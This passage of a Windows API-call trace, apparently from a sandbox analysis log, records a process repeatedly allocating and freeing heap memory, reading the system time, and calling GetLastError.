Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8403ec0, dwHighDateTime=0x1d595b2)) [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8403ec0, dwHighDateTime=0x1d595b2)) [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8403ec0, dwHighDateTime=0x1d595b2)) [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.279] GetLastError () returned 0x578 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84065d0, dwHighDateTime=0x1d595b2)) [0141.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84065d0, dwHighDateTime=0x1d595b2)) [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84065d0, dwHighDateTime=0x1d595b2)) [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84065d0, dwHighDateTime=0x1d595b2)) [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84065d0, dwHighDateTime=0x1d595b2)) [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84065d0, dwHighDateTime=0x1d595b2)) [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd84065d0, dwHighDateTime=0x1d595b2)) [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.280] GetLastError () returned 0x578 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.280] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8408ce0, dwHighDateTime=0x1d595b2)) [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8408ce0, dwHighDateTime=0x1d595b2)) [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8408ce0, dwHighDateTime=0x1d595b2)) [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8408ce0, dwHighDateTime=0x1d595b2)) [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8408ce0, dwHighDateTime=0x1d595b2)) [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840b3f0, dwHighDateTime=0x1d595b2)) [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840b3f0, dwHighDateTime=0x1d595b2)) [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.282] GetLastError () returned 0x578 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840b3f0, dwHighDateTime=0x1d595b2)) [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840b3f0, dwHighDateTime=0x1d595b2)) [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840db00, dwHighDateTime=0x1d595b2)) [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840db00, dwHighDateTime=0x1d595b2)) [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840db00, dwHighDateTime=0x1d595b2)) [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840db00, dwHighDateTime=0x1d595b2)) [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd840db00, dwHighDateTime=0x1d595b2)) [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.283] GetLastError () returned 0x578 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5be8b0 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5be108 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5be8b0 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x5b0000) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5be8e0 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8b0 | out: hHeap=0x5b0000) returned 1 [0141.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be8e0 | out: hHeap=0x5b0000) returned 1 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8c8 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8d8 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8410210, dwHighDateTime=0x1d595b2)) [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8b8 [0141.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8410210, dwHighDateTime=0x1d595b2)) [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5bd8d8 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5bd8c8 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8d8 | out: hHeap=0x5b0000) returned 1 [0141.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5be088 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8c8 | out: hHeap=0x5b0000) returned 1 [0141.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8410210, dwHighDateTime=0x1d595b2)) [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5be088 | out: hHeap=0x5b0000) returned 1 [0141.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x5b0000) returned 1 [0141.284] RtlAllocateHeap 